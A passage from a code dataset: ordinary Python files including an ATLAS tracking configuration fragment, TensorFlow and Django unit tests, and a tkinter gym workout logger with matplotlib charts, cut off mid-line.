acc.merge(SiDetElementBoundaryLinksCondAlg_xk_SCT_Cfg(flags))\n\n if \"RefitterTool\" not in kwargs:\n from TrkConfig.CommonTrackFitterConfig import InDetTrackFitterBTCfg\n kwargs.setdefault(\"RefitterTool\", acc.popToolsAndMerge(\n InDetTrackFitterBTCfg(flags)))\n\n if \"TrackExtensionTool\" not in kwargs:\n from InDetConfig.TRT_TrackExtensionToolConfig import (\n TRT_TrackExtensionToolCfg)\n kwargs.setdefault(\"TrackExtensionTool\", acc.popToolsAndMerge(\n TRT_TrackExtensionToolCfg(flags)))\n\n if \"TrackSummaryTool\" not in kwargs:\n from TrkConfig.TrkTrackSummaryToolConfig import (\n InDetTrackSummaryToolNoHoleSearchCfg)\n kwargs.setdefault(\"TrackSummaryTool\", acc.popToolsAndMerge(\n InDetTrackSummaryToolNoHoleSearchCfg(flags)))\n\n if \"Extrapolator\" not in kwargs:\n from TrkConfig.AtlasExtrapolatorConfig import InDetExtrapolatorCfg\n kwargs.setdefault(\"Extrapolator\", acc.popToolsAndMerge(\n InDetExtrapolatorCfg(flags)))\n\n if \"TrackTool\" not in kwargs:\n from InDetConfig.TRT_SeededTrackFinderToolConfig import (\n TRT_SeededTrackFinder_ATLCfg)\n InDetTRT_SeededTrackTool = acc.popToolsAndMerge(\n TRT_SeededTrackFinder_ATLCfg(flags,\n InputCollections=InputCollections))\n acc.addPublicTool(InDetTRT_SeededTrackTool)\n kwargs.setdefault(\"TrackTool\", InDetTRT_SeededTrackTool)\n\n kwargs.setdefault(\"PRDtoTrackMap\",\n 'InDetSegmentPRDtoTrackMap' if InputCollections is not None else \"\")\n kwargs.setdefault(\"MinTRTonSegment\",\n flags.Tracking.ActiveConfig.minSecondaryTRTonTrk)\n kwargs.setdefault(\"MinTRTonly\", flags.Tracking.ActiveConfig.minTRTonly)\n kwargs.setdefault(\"TrtExtension\", True)\n kwargs.setdefault(\"SiExtensionCuts\",\n flags.Tracking.ActiveConfig.SiExtensionCuts)\n kwargs.setdefault(\"minPt\", flags.Tracking.ActiveConfig.minSecondaryPt)\n kwargs.setdefault(\"maxRPhiImp\",\n flags.Tracking.ActiveConfig.maxSecondaryImpact)\n kwargs.setdefault(\"maxZImp\", flags.Tracking.ActiveConfig.maxZImpact)\n kwargs.setdefault(\"maxEta\", flags.Tracking.ActiveConfig.maxEta)\n kwargs.setdefault(\"RejectShortExtension\",\n flags.Tracking.ActiveConfig.rejectShortExtensions)\n kwargs.setdefault(\"FinalRefit\", False)\n kwargs.setdefault(\"FinalStatistics\", False)\n kwargs.setdefault(\"OutputSegments\", False)\n kwargs.setdefault(\"InputSegmentsLocation\", 'TRTSegments')\n kwargs.setdefault(\"OutputTracksLocation\", 'TRTSeededTracks')\n\n if flags.Tracking.ActiveConfig.RoISeededBackTracking:\n from RegionSelector.RegSelToolConfig import regSelTool_SCT_Cfg\n RegSelTool_SCT = acc.popToolsAndMerge(regSelTool_SCT_Cfg(flags))\n acc.addPublicTool(RegSelTool_SCT)\n\n kwargs.setdefault(\"RegSelTool\", RegSelTool_SCT)\n kwargs.setdefault(\"CaloSeededRoI\", True)\n kwargs.setdefault(\"EMROIPhiRZContainer\", (\n \"InDetCaloClusterROIPhiRZ%.0fGeVUnordered\" % \n (flags.Tracking.ActiveConfig.minRoIClusterEt/Units.GeV)))\n\n acc.addEventAlgo(CompFactory.InDet.TRT_SeededTrackFinder(name, **kwargs))\n return acc\n","repo_name":"Yusuf-Manjra/athena","sub_path":"InnerDetector/InDetConfig/python/TRT_SeededTrackFinderConfig.py","file_name":"TRT_SeededTrackFinderConfig.py","file_ext":"py","file_size_in_byte":4140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18614976505","text":"# -*- coding: utf-8 -*-\n\nimport tensorflow as tf\n\nfrom inferbeddings.nli import tfutil\nfrom inferbeddings.nli.disan.integration_func import traditional_attention\n\n\ndef test_disan():\n vocab_size, embedding_size = 10, 5\n\n sentence_ph = tf.placeholder(dtype=tf.int32, shape=[None, None], name='sentence')\n sentence_len_ph = tf.placeholder(dtype=tf.int32, shape=[None], name='sentence_length')\n\n embedding_initializer = tf.random_uniform_initializer(minval=-1.0, maxval=1.0)\n embedding_layer = tf.get_variable('embeddings', shape=[vocab_size, embedding_size],\n initializer=embedding_initializer)\n\n clipped_sentence = tfutil.clip_sentence(sentence_ph, sentence_len_ph)\n sentence_embedding = tf.nn.embedding_lookup(embedding_layer, clipped_sentence)\n\n sentence_representation = traditional_attention(\n sentence_embedding, tf.cast(True, tf.bool), 'traditional_attention',\n 0.5, tf.cast(False, tf.bool), 5e-5)\n\n init_op = tf.global_variables_initializer()\n\n sentence_value = [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]]\n sentence_len_value = [4]\n\n with tf.Session() as session:\n session.run(init_op)\n\n feed_dict = {\n sentence_ph: sentence_value,\n sentence_len_ph: sentence_len_value\n }\n\n res = session.run(sentence_embedding, feed_dict=feed_dict)\n assert res.shape == (1, sentence_len_value[0], embedding_size)\n\n res = session.run(sentence_representation, feed_dict=feed_dict)\n assert res.shape == (1, embedding_size)\n\n\nif __name__ == '__main__':\n test_disan()\n","repo_name":"uclnlp/inferbeddings","sub_path":"tests/inferbeddings/nli/disan/test_disan.py","file_name":"test_disan.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"61"} +{"seq_id":"71070399555","text":"from django.test import TestCase\nfrom econplayground.main.utils import user_is_instructor\nfrom econplayground.main.tests.factories import (\n InstructorFactory, StudentFactory\n)\n\n\nclass UtilsTest(TestCase):\n def setUp(self):\n self.instructor = InstructorFactory()\n self.student = StudentFactory()\n\n def test_user_is_instructors(self):\n self.assertTrue(user_is_instructor(self.instructor))\n self.assertFalse(user_is_instructor(self.student))\n","repo_name":"ccnmtl/econplayground","sub_path":"econplayground/main/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"14768195678","text":"import tkinter as tk\nfrom tkinter import ttk\nimport gym_writer\nimport numpy as np\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg\nimport matplotlib.pyplot as plt\n\ndef main():\n #main function for loading the program\n root = tk.Tk()\n if len(gym_writer.get_exercises()) == 0:\n gym_writer.initialize()\n root.title(\"Gym Log\")\n app = Home(root)\n root.mainloop()\n\nclass Home:\n #main home page of application, combined as a controller\n def __init__(self, master):\n #function for initializing home window\n #param master: tk.Tk() instance\n self.master = master\n #setting up frame\n self.frame = tk.Frame(self.master)\n self.frame.configure(background=\"DodgerBlue3\")\n self.frame.grid(column=0,row=0, sticky='news')\n self.frame.columnconfigure(0, weight = 1)\n self.frame.rowconfigure(0, weight = 1)\n #setting up variable to track current input\n self.tkvar = tk.StringVar(master)\n self.choices = gym_writer.get_exercises()\n self.tkvar.set(sorted(self.choices)[0]) # set the default option\n #setting up dropdown menu\n self.popupMenu = ttk.OptionMenu(self.frame, self.tkvar, self.tkvar.get(), *sorted(self.choices))\n self.popupMenu[\"menu\"].configure(background=\"snow\")\n tk.Label(self.frame, text=\"Choose an exercise\", background=\"DodgerBlue3\").grid(row = 0, column = 0)\n self.popupMenu.grid(row = 1, column = 0)\n\n #setting up buttons\n self.B1 = ttk.Button(self.frame, text='Create new exercise', command=self.new_ex_window)\n self.B1.grid(row = 6, column = 0)\n\n self.B2 = ttk.Button(self.frame, text='Log exercise', command=self.new_log_window)\n self.B2.grid(row = 4, column = 0)\n\n self.B0 = ttk.Button(self.frame, text='View log', command=self.new_view_window)\n self.B0.grid(row = 2, column = 0, pady = (10,0))\n\n #setting up labels for interesting statistics\n tk.Label(self.frame, text=\"Last time exercised\", background=\"DodgerBlue3\").grid(row = 0, column = 1)\n self.L1 = tk.Label(self.frame, background=\"DodgerBlue3\")\n self.L1.grid(row = 1, column = 1)\n\n tk.Label(self.frame, text=\"Last time weight\", background=\"DodgerBlue3\").grid(row = 2, column = 1)\n self.L2 = tk.Label(self.frame, background=\"DodgerBlue3\")\n self.L2.grid(row = 3, column = 1)\n\n tk.Label(self.frame, text=\"Last time sets\", background=\"DodgerBlue3\").grid(row = 4, column = 1)\n self.L3 = tk.Label(self.frame, background=\"DodgerBlue3\")\n self.L3.grid(row = 5, column = 1)\n\n tk.Label(self.frame, text=\"Last time reps\", background=\"DodgerBlue3\").grid(row = 6, column = 1)\n self.L4 = tk.Label(self.frame, background=\"DodgerBlue3\")\n self.L4.grid(row = 7, column = 1)\n\n tk.Label(self.frame, text=\"Max weight date\", background=\"DodgerBlue3\").grid(row = 0, column = 2)\n self.L5 = tk.Label(self.frame, background=\"DodgerBlue3\")\n self.L5.grid(row = 1, column = 2)\n\n tk.Label(self.frame, text=\"Max weight\", background=\"DodgerBlue3\").grid(row = 2, column = 2)\n self.L6 = tk.Label(self.frame, background=\"DodgerBlue3\")\n self.L6.grid(row = 3, column = 2)\n\n tk.Label(self.frame, text=\"Max weight sets\", background=\"DodgerBlue3\").grid(row = 4, column = 2)\n self.L7 = tk.Label(self.frame, background=\"DodgerBlue3\")\n self.L7.grid(row = 5, column = 2)\n\n tk.Label(self.frame, text=\"Max weight reps\", background=\"DodgerBlue3\").grid(row = 6, column = 2)\n self.L8 = tk.Label(self.frame, background=\"DodgerBlue3\")\n self.L8.grid(row = 7, column = 2)\n\n #initates values for loaded exercise\n self.refresh()\n\n # link function to change dropdown\n self.tkvar.trace('w', self.refresh)\n\n def refresh(self, *args):\n #on change dropdown value or logging new exercise, refreshes the values on the home window\n recent_query = gym_writer.table_recent(self.tkvar.get().lower().replace(\" \", \"_\"))\n max_query = gym_writer.table_max(self.tkvar.get().lower().replace(\" \", \"_\"))\n if recent_query is not None:\n self.L1.config(text=recent_query[0])\n self.L2.config(text=str(recent_query[1]) + ' lb')\n self.L3.config(text=recent_query[2])\n self.L4.config(text=recent_query[3])\n self.L5.config(text=max_query[0])\n self.L6.config(text=str(max_query[1]) + ' lb')\n self.L7.config(text=max_query[2])\n self.L8.config(text=max_query[3])\n #if no values have been initiated yet for the exercise\n else:\n self.L1.config(text='---')\n self.L2.config(text='---')\n self.L3.config(text='---')\n self.L4.config(text='---')\n self.L5.config(text='---')\n self.L6.config(text='---')\n self.L7.config(text='---')\n self.L8.config(text='---')\n\n #functions meant for creating new windows\n def new_log_window(self):\n self.newLogWindow = tk.Toplevel(self.master)\n self.app1 = Log_window(self.newLogWindow, self)\n def new_ex_window(self):\n self.newExWindow = tk.Toplevel(self.master)\n self.app2 = Ex_window(self.newExWindow, self)\n def new_view_window(self):\n self.newViewWindow = tk.Toplevel(self.master)\n self.app3 = View_window(self.newViewWindow, self)\n\n\nclass Log_window:\n #class for window that allows user to log exercises\n def __init__(self, master, controller):\n #function for initializing a log window\n #param master: tk.Toplevel instance based off the tk.Tk() instance\n #param controller: Home class, containing data to be used\n self.master = master\n self.controller = controller\n #setting up frame\n self.frame = tk.Frame(self.master)\n self.master.geometry('300x300')\n self.master.configure(background = \"DodgerBlue3\")\n #setting up widgets inculding labels and dropdown menu for exercise\n tk.Label(self.master, text=\"Exercise Name\", background=\"DodgerBlue3\").grid(row = 0, column = 0)\n tk.Label(self.master, text=\"Choose an exercise\", background=\"DodgerBlue3\").grid(row = 0, column = 0)\n self.temp = tk.StringVar(self.master)\n self.temp.set(controller.tkvar.get())\n self.popupMenu = ttk.OptionMenu(self.master, self.temp, self.temp.get(), *sorted(controller.choices))\n self.popupMenu[\"menu\"].configure(background=\"snow\")\n self.popupMenu.grid(row = 1, column = 0)\n\n #dropdown for year selections\n self.year = {'----', '2017', '2018', '2019', '2020'}\n tk.Label(self.master, text=\"Year\", background=\"DodgerBlue3\").grid(row = 0, column = 1)\n self.yearTemp = tk.StringVar(self.master)\n self.yearTemp.set('----')\n self.yearMenu = ttk.OptionMenu(self.master, self.yearTemp, self.yearTemp.get(), *sorted(self.year))\n self.yearMenu[\"menu\"].configure(background=\"snow\")\n self.yearMenu.grid(row = 1, column = 1)\n self.yearMenu.configure(width=5)\n \n #dropdown for month selection\n self.month = {'--', '01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12'}\n tk.Label(self.master, text=\"Month\", background=\"DodgerBlue3\").grid(row = 0, column = 2)\n self.monthTemp = tk.StringVar(self.master)\n self.monthTemp.set('--')\n self.monthMenu = ttk.OptionMenu(self.master, self.monthTemp, self.monthTemp.get(), *sorted(self.month))\n self.monthMenu[\"menu\"].configure(background=\"snow\")\n self.monthMenu.grid(row = 1, column = 2, padx = 2, pady = 2)\n self.monthMenu.configure(width=3)\n\n #dropdown for day selection\n self.day = {'--', '01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', \n '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31'}\n tk.Label(self.frame, text=\"Day\", background=\"DodgerBlue3\").grid(row = 0, column = 3)\n self.dayTemp = tk.StringVar(self.master)\n self.dayTemp.set('--')\n self.dayMenu = ttk.OptionMenu(self.master, self.dayTemp, self.dayTemp.get(), *sorted(self.day))\n self.dayMenu[\"menu\"].configure(background=\"snow\")\n self.dayMenu.grid(row = 1, column = 3, padx = 2, pady = 2)\n self.dayMenu.configure(width=3)\n\n #labels and entries for inputting weight, sets and reps\n tk.Label(self.master, text=\"Weight (lb)\", background=\"DodgerBlue3\").grid(row = 4, column = 0)\n self.weight = tk.StringVar()\n self.E2 = tk.Entry(self.master, textvariable=self.weight)\n self.E2.grid(row = 5, column = 0, columnspan = 2) \n\n tk.Label(self.master, text=\"Sets\", background=\"DodgerBlue3\").grid(row = 6, column = 0)\n self.sets = tk.StringVar()\n self.E3 = tk.Entry(self.master, textvariable=self.sets)\n self.E3.grid(row= 7, column = 0, columnspan= 2)\n\n tk.Label(self.master, text=\"Reps\", background=\"DodgerBlue3\").grid(row = 8, column = 0)\n self.reps = tk.StringVar()\n self.E4 = tk.Entry(self.master, textvariable=self.reps)\n self.E4.grid(row= 9, column= 0, columnspan= 2)\n\n #confirm and cancel buttons\n self.con = ttk.Button(self.master, text=\"Confirm\", command=self.log, state='disabled')\n self.con.grid(row=10, column=0, padx = 2, pady = 2)\n self.canc = ttk.Button(self.master, text=\"Cancel\", command=self.master.destroy)\n self.canc.grid(row=10, column=1, padx = 2, pady = 2)\n\n #tracks change in date dropdown menu to enable/disable confirm ttk.button\n self.yearTemp.trace('w',self.disable)\n self.monthTemp.trace('w', self.disable)\n self.yearTemp.trace('w', self.day_update)\n self.monthTemp.trace('w', self.day_update)\n self.dayTemp.trace('w', self.disable)\n\n #tracks change in weight, sets, and reps entries to enable/disable confirm ttk.button\n self.weight.trace('w', self.disable)\n self.sets.trace('w', self.disable)\n self.reps.trace('w', self.disable)\n\n def log(self):\n #logs the current exercise\n gym_writer.log_ex((self.yearTemp.get() + '-' + self.monthTemp.get() + '-' + self.dayTemp.get(),\n self.E2.get(), self.E3.get(), self.E4.get()), self.temp.get().lower())\n #refreshes the overall values\n self.controller.refresh()\n self.master.destroy()\n\n def disable(self, *args):\n #disables confirm ttk.button if a date, weight, set, or rep input is invalid\n if self.yearTemp.get() == '----' or self.monthTemp.get() == '--' or self.dayTemp.get() == '--' or not self.E2.get().isdigit() or not self.E3.get().isdigit() or not self.E4.get().isdigit():\n self.con.config(state='disabled')\n else:\n self.con.config(state='normal')\n\n def day_update(self, *args):\n #updates the day selection available with a selected self.month\n self.dayTemp.set('')\n self.days = set()\n self.dayMenu['menu'].delete(0, 'end')\n if self.monthTemp.get() == '02' and self.yearTemp.get().isdigit() and int(self.yearTemp.get()) % 4 == 0:\n #accounts for leap year\n self.days = {'--', '01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', \n '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29'};\n elif self.monthTemp.get() == '01' or self.monthTemp.get() == '03' or self.monthTemp.get() == '05' or self.monthTemp.get() == '07' or self.monthTemp.get() == '08' or self.monthTemp.get() == '10' or self.monthTemp.get() == '12':\n #months with 31 days\n self.days = {'--', '01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', \n '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31'}\n elif self.monthTemp.get() == '02':\n #non-leap year February\n self.days = {'--', '01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', \n '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28'}\n else:\n #months with 30 days\n self.days = {'--', '01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', \n '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30'}\n\n #refreshes the day dropdown menu\n self.dayMenu = ttk.OptionMenu(self.master, self.dayTemp, '--', *sorted(self.days))\n self.dayMenu[\"menu\"].configure(background=\"snow\")\n self.dayMenu.grid(row = 1, column = 3, padx = 2, pady = 2)\n self.dayMenu.configure(width=3)\n\n\nclass View_window:\n #class for view window\n def __init__(self, master, controller):\n #function for initializiing viewing window\n #param master: tk.Toplevel instance based off the tk.Tk() instance\n #param controller: Home class, containing data to be used\n self.master = master\n self.controller = controller\n #setting up frame\n self.frame = tk.Frame(self.master)\n self.master.configure(background = \"DodgerBlue3\")\n #setting up treeview for viewing data in a table\n self.tree = ttk.Treeview(self.master)\n self.tree.grid(sticky = 'news', rowspan=5)\n self.master.treeview = self.tree\n self.master.grid_rowconfigure(0, weight = 1)\n self.master.grid_columnconfigure(0, weight = 1)\n self.tree['columns'] = ('Weight', 'Sets', 'Reps')\n self.tree.heading(\"#0\", text='Date', anchor='w')\n self.tree.column(\"#0\", anchor=\"w\")\n self.tree.heading('Weight', text='Weight (lb)')\n self.tree.column('Weight', anchor='center', width=100)\n self.tree.heading('Sets', text='Sets')\n self.tree.column('Sets', anchor='center', width=100)\n self.tree.heading('Reps', text='Reps')\n self.tree.column('Reps', anchor='center', width=100)\n #setting up scrollbar for treeview\n self.treeScroll = ttk.Scrollbar(self.master)\n self.treeScroll.configure(command=self.tree.yview)\n self.treeScroll.grid(row=0, column=1, rowspan=5, sticky = 'news',)\n self.tree.configure(yscrollcommand=self.treeScroll.set)\n #defaults to viewing most recent exercises\n for exercise in gym_writer.get_dworkouts(self.controller.tkvar.get()):\n self.master.treeview.insert('', 'end', text=exercise[0], values=(exercise[1],\n exercise[2], exercise[3]))\n self.order =tk.Label(self.master, text=\"Ordered by: \\nmost recent\" , background=\"DodgerBlue3\")\n self.order.grid(row = 0, column = 2, sticky = 'news')\n\n #buttons for ordering the view and testing adding and removing exercises\n self.b0 = ttk.Button(self.master, text='Order by most recent', command=self.mrecent)\n self.b0.grid(row = 1, column = 2, sticky = 'news')\n self.b1 = ttk.Button(self.master, text='Order by least recent', command=self.lrecent)\n self.b1.grid(row = 2, column = 2, sticky = 'news')\n self.b2 = ttk.Button(self.master, text='Order by greatest weight', command=self.heavy)\n self.b2.grid(row = 3, column = 2, sticky = 'news')\n self.b3 = ttk.Button(self.master, text='Order by least weight', command=self.light)\n self.b3.grid(row = 4, column = 2, sticky = 'news')\n self.b4 = ttk.Button(self.master, text='test clear', command=self.test_clear)\n self.b4.grid(row = 6, column = 2, sticky = 'news')\n self.b5 = ttk.Button(self.master, text='test populate', command=self.test_populate)\n self.b5.grid(row = 7, column = 2, sticky = 'news')\n\n #using matplotlib to plot a graph of the data points\n self.create_figure()\n\n #creates frame and buttons for shifting date view of graph\n #todo: implement logic of buttons in here and in create figure view\n self.auxFrame = tk.Frame(self.master)\n self.auxFrame.grid(row = 5, column = 2, sticky = 's')\n self.auxFrame.configure(background=\"DodgerBlue3\")\n self.newer = ttk.Button(self.auxFrame, text='Newer 5', command=self.shift_later)\n self.newer.grid(sticky = 's')\n self.older = ttk.Button(self.auxFrame, text='Older 5', command=self.shift_earlier)\n self.older.grid(row = 0, column = 1, sticky = 's')\n\n\n def test_clear(self):\n #test method meant to clear current table\n gym_writer.clear_table(self.controller.tkvar.get())\n self.create_figure()\n\n self.tree.delete(*self.tree.get_children())\n #may be unecessary below this line, test without\n for exercise in gym_writer.get_dworkouts(self.controller.tkvar.get()):\n self.master.treeview.insert('', 'end', text=exercise[0], values=(exercise[1],\n exercise[2], exercise[3]))\n self.order = tk.Label(self.master, text=\"Ordered by: \\nmost recent\" , background=\"DodgerBlue3\")\n self.order.grid(row = 0, column = 2, sticky = 'news')\n\n def test_populate(self):\n #test method meant to populate current table\n gym_writer.populate(self.controller.tkvar.get(), 5)\n self.create_figure()\n\n self.tree.delete(*self.tree.get_children())\n for exercise in gym_writer.get_dworkouts(self.controller.tkvar.get()):\n self.master.treeview.insert('', 'end', text=exercise[0], values=(exercise[1],\n exercise[2], exercise[3]))\n self.order =tk.Label(self.master, text=\"Ordered by: \\nmost recent\" , background=\"DodgerBlue3\")\n self.order.grid(row = 0, column = 2, sticky = 'news')\n\n\n def mrecent(self):\n #for ordering table by most recent workouts\n self.tree.delete(*self.tree.get_children())\n for exercise in gym_writer.get_dworkouts(self.controller.tkvar.get()):\n self.master.treeview.insert('', 'end', text=exercise[0], values=(exercise[1],\n exercise[2], exercise[3]))\n self.order.configure(text = \"Ordered by: \\nmost recent\")\n\n def lrecent(self):\n #for ordering table by least recent workouts\n self.tree.delete(*self.tree.get_children())\n for exercise in gym_writer.get_dworkouts(self.controller.tkvar.get()):\n self.master.treeview.insert('', 0, text=exercise[0], values=(exercise[1],\n exercise[2], exercise[3]))\n self.order.configure(text = \"Ordered by: \\nleast recent\")\n\n def heavy(self):\n #for ordering table by greatest weight\n self.tree.delete(*self.tree.get_children())\n for exercise in gym_writer.get_wworkouts(self.controller.tkvar.get()):\n self.master.treeview.insert('', 'end', text=exercise[0], values=(exercise[1],\n exercise[2], exercise[3]))\n self.order.configure(text = \"Ordered by: \\nhighest weight\")\n\n def light(self):\n #for ordering table by least weight\n self.tree.delete(*self.tree.get_children())\n for exercise in gym_writer.get_wworkouts(self.controller.tkvar.get()):\n self.master.treeview.insert('', 0, text=exercise[0], values=(exercise[1],\n exercise[2], exercise[3]))\n self.order.configure(text = \"Ordered by: \\nlowest weight\")\n\n def create_figure(self):\n #for creating the matplotlib figure graph\n f = Figure(figsize=(5, 4), dpi=100)\n a = f.add_subplot(111)\n #t = np.arange(0.0, len(gym_writer.get_wworkouts(self.controller.tkvar.get())))\n s = []\n labels = []\n temp = []\n counter = 0\n #two counters keeping track of min and max weights on graph\n max = (0, 0)\n min = (999999, 0)\n self.dexercise = gym_writer.get_dworkouts(self.controller.tkvar.get())\n self.current_index = 0\n\n for exercise in self.dexercise:\n if counter == 5:\n break\n s.insert(0, exercise[1])\n if exercise[1] > max[0]:\n labels.insert(0, exercise[0])\n if max[1] != min[1]:\n labels[len(labels)-1-max[1]] = ''\n max = (exercise[1], counter)\n elif exercise[1] < min[0]:\n labels.insert(0, exercise[0])\n if min[1] != max[1]:\n labels[len(labels)-1-min[1]] = ''\n min = (exercise[1], counter)\n else:\n labels.insert(0, '')\n temp.append(counter)\n counter += 1\n t = np.arange(0.0, len(s))\n a.plot(t, np.array(s))\n a.set_xticks(temp)\n a.set_xticklabels(labels, rotation=30, fontsize=6)\n\n #a tk.DrawingArea\n self.canvas = FigureCanvasTkAgg(f, master=self.master)\n self.canvas.show()\n self.canvas.get_tk_widget().grid(row=5,column=0)\n #create new frame since toolbar automatically packs itself instead of using a grid\n self.toolbarFrame = tk.Frame(self.master)\n self.toolbarFrame.grid(row=6,column=0, sticky='news')\n toolbar = NavigationToolbar2TkAgg(self.canvas, self.toolbarFrame)\n toolbar.update()\n toolbar.pack(side=tk.LEFT, expand=1)\n self.canvas._tkcanvas.grid(row=5,column=0)\n \n\n def shift_earlier(self):\n #for shifting the graph's view to the next five earlier dates\n f = Figure(figsize=(5, 4), dpi=100)\n a = f.add_subplot(111)\n #print(str(self.dexercise))\n def my_range(start, end, step):\n while start <= end:\n yield start\n start += step\n \n counter = 0\n self.current_index = self.current_index + 5\n end = self.current_index + 5\n if end > len(self.dexercise) - 1:\n end = len (self.dexercise) - 1\n if self.current_index >= len(self.dexercise) - 1:\n self.current_index = len(self.dexercise) - 1\n return\n #two counters keeping track of min and max weights on graph\n max = (0, 0)\n min = (999999, 0)\n s = []\n labels = []\n temp = []\n counter = 0\n for x in my_range(self.current_index, end, 1):\n if counter == 5:\n break\n s.insert(0, self.dexercise[x][1])\n if self.dexercise[x][1] > max[0]:\n labels.insert(0, self.dexercise[x][0])\n if max[1] != min[1]:\n labels[len(labels)-1-max[1]] = ''\n max = (self.dexercise[x][1], counter)\n elif self.dexercise[x][1] < min[0]:\n labels.insert(0, self.dexercise[x][0])\n if min[1] != max[1]:\n labels[len(labels)-1-min[1]] = ''\n min = (self.dexercise[x][1], counter)\n else:\n labels.insert(0, '')\n temp.append(counter)\n counter += 1\n t = np.arange(0.0, len(s))\n a.plot(t, np.array(s))\n a.set_xticks(temp)\n a.set_xticklabels(labels, rotation=30, fontsize=6)\n\n #a tk.DrawingArea\n self.canvas = FigureCanvasTkAgg(f, master=self.master)\n self.canvas.show()\n self.canvas.get_tk_widget().grid(row=5,column=0)\n #create new frame since toolbar automatically packs itself instead of using a grid\n self.toolbarFrame = tk.Frame(self.master)\n self.toolbarFrame.grid(row=6,column=0, sticky='news')\n toolbar = NavigationToolbar2TkAgg(self.canvas, self.toolbarFrame)\n toolbar.update()\n toolbar.pack(side=tk.LEFT, expand=1)\n self.canvas._tkcanvas.grid(row=5,column=0)\n #print(\"shift earlier: \" + str(self.current_index))\n\n def shift_later(self):\n #for shifting the graph's view to the next five later dates\n f = Figure(figsize=(5, 4), dpi=100)\n a = f.add_subplot(111)\n def my_range(start, end, step):\n while start <= end:\n yield start\n start += step\n \n counter = 0\n end = self.current_index\n self.current_index = self.current_index - 5\n if end < 0:\n end = 0\n if self.current_index < 0:\n self.current_index = 0\n print('short circuit')\n return\n #two counters keeping track of min and max weights on graph\n max = (0, 0)\n min = (999999, 0)\n s = []\n labels = []\n temp = []\n counter = 0\n for x in my_range(self.current_index, end, 1):\n if counter == 5:\n break\n s.insert(0, self.dexercise[x][1])\n if self.dexercise[x][1] > max[0]:\n labels.insert(0, self.dexercise[x][0])\n if max[1] != min[1]:\n labels[len(labels)-1-max[1]] = ''\n max = (self.dexercise[x][1], counter)\n elif self.dexercise[x][1] < min[0]:\n labels.insert(0, self.dexercise[x][0])\n if min[1] != max[1]:\n labels[len(labels)-1-min[1]] = ''\n min = (self.dexercise[x][1], counter)\n else:\n labels.insert(0, '')\n temp.append(counter)\n counter += 1\n t = np.arange(0.0, len(s))\n a.plot(t, np.array(s))\n a.set_xticks(temp)\n a.set_xticklabels(labels, rotation=30, fontsize=6)\n\n #a tk.DrawingArea\n self.canvas = FigureCanvasTkAgg(f, master=self.master)\n self.canvas.show()\n self.canvas.get_tk_widget().grid(row=5,column=0)\n #create new frame since toolbar automatically packs itself instead of using a grid\n self.toolbarFrame = tk.Frame(self.master)\n self.toolbarFrame.grid(row=6,column=0, sticky='news')\n toolbar = NavigationToolbar2TkAgg(self.canvas, self.toolbarFrame)\n toolbar.update()\n toolbar.pack(side=tk.LEFT, expand=1)\n self.canvas._tkcanvas.grid(row=5,column=0)\n #print(\"shift later: \" + str(self.current_index))\n #print(\"shift later end: \" + str(self.current_index))\n\n\n \nclass Ex_window:\n #class for creating a new window for creating a new exercise\n def __init__(self, master, controller):\n #function for initializing an exercise creation window\n #param master: tk.Toplevel instance based off the tk.Tk() instance\n #param controller: Home class, containing data to be used\n self.master = master\n self.controller = controller\n self.frame = tk.Frame(self.master)\n self.master.configure(background = \"DodgerBlue3\")\n tk.Label(self.master, text=\"Exercise Name\", background=\"DodgerBlue3\").grid(row = 0, column = 0, sticky='news', columnspan = 1, padx = 10, pady = 10)\n self.ex = tk.StringVar()\n self.E1 = ttk.Entry(self.master, textvariable=self.ex)\n self.E1.grid(row=1, column=0, columnspan=2)\n self.exercises = gym_writer.getTables()\n\n #setting up confirm (disabled by default) and cancel buttons\n self.con = ttk.Button(self.master, text=\"Confirm\", command=self.create_ex, state='disabled')\n self.con.grid(row=2, column=0, padx = 10, pady = 10)\n self.canc = ttk.Button(self.master, text=\"Cancel\", command=self.master.destroy)\n self.canc.grid(row=2, column=1, padx = 10, pady = 10)\n\n #set up confirm button to be traced with changes to the exercise entry\n self.ex.trace('w', self.disable)\n\n def disable(self, *args): \n #disables confirm button if entry is empty or whitespace\n if self.E1.get() == '' or self.E1.get().isspace() or self.E1.get().isdigit():\n #checks for whitespace only, empty, or a number (breaks sqlite)\n self.con.config(state='disabled')\n else:\n self.con.config(state='normal')\n\n def create_ex(self):\n #function for creating a new exercise; rejection if exercise already exists\n if self.E1.get().lower().replace(\" \", \"_\") in self.exercises:\n #creates popup for invalid, duplicated exercise\n pop = tk.Toplevel()\n pop.configure(background = \"DodgerBlue3\")\n tk.Label(pop, text=\"Error! Exercise already exists.\", background=\"DodgerBlue3\").grid(row = 0, column = 0, sticky='news', columnspan = 2, padx = 10, pady = 10)\n ret = ttk.Button(pop, text=\"OK\", command=pop.destroy)\n ret.grid(row = 1, column = 0, sticky='news', columnspan = 2, padx = 10, pady = 10)\n else:\n gym_writer.create_exercise(self.E1.get())\n #refreshing of home page exercises to include new exercise\n self.controller.tkvar.set(self.ex.get())\n self.controller.popupMenu['menu'].delete(0, 'end')\n self.controller.choices = gym_writer.get_exercises()\n self.controller.popupMenu = ttk.OptionMenu(self.controller.frame, self.controller.tkvar, 